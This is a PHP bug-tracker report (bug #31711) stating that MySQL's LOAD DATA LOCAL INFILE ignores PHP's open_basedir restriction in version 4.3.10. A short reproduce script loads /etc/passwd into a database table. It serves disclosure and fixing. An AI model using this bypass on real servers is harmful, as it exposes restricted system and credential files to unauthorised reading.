From: tim at zielosko dot net
Operating system: GNU/Debian
PHP version: 4.3.10
PHP Bug Type: MySQL related
Bug description: LOAD DATA LOCAL is still not respecting Open_BaseDir
Description:
------------
As already mentioned in PHP Bugs Bug #28632 and Bug #23779, mysqllib still
isn't respecting open_basedir. So opening of any files in the local
filesystem is possible.
Normally, this should have been fixed in PHP 4.3.8, but the exploit still
works.
Reproduce code:
---------------
<?php
$ressource = mysql_connect('host', 'user', 'password');
$db_selected = mysql_select_db('db', $ressource);
$result = mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE
passwd");
if (!$result) die('MySQL Error: ' . mysql_error());
mysql_close($ressource);
?>
Expected result:
----------------
Access denied error or command not allowed.
Actual result:
--------------
The file /etc/passwd will be inserted into the table passwd.
--
Edit bug report at http://bugs.php.net/?id=31711&edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31711&r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=31711&r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=31711&r=trysnapshot51
Fixed in CVS: http://bugs.php.net/fix.php?id=31711&r=fixedcvs
Fixed in release: http://bugs.php.net/fix.php?id=31711&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=31711&r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=31711&r=needscript
Try newer version: http://bugs.php.net/fix.php?id=31711&r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=31711&r=support
Expected behavior: http://bugs.php.net/fix.php?id=31711&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=31711&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=31711&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=31711&r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31711&r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=31711&r=dst
IIS Stability: http://bugs.php.net/fix.php?id=31711&r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=31711&r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=31711&r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=31711&r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=31711&r=mysqlcfg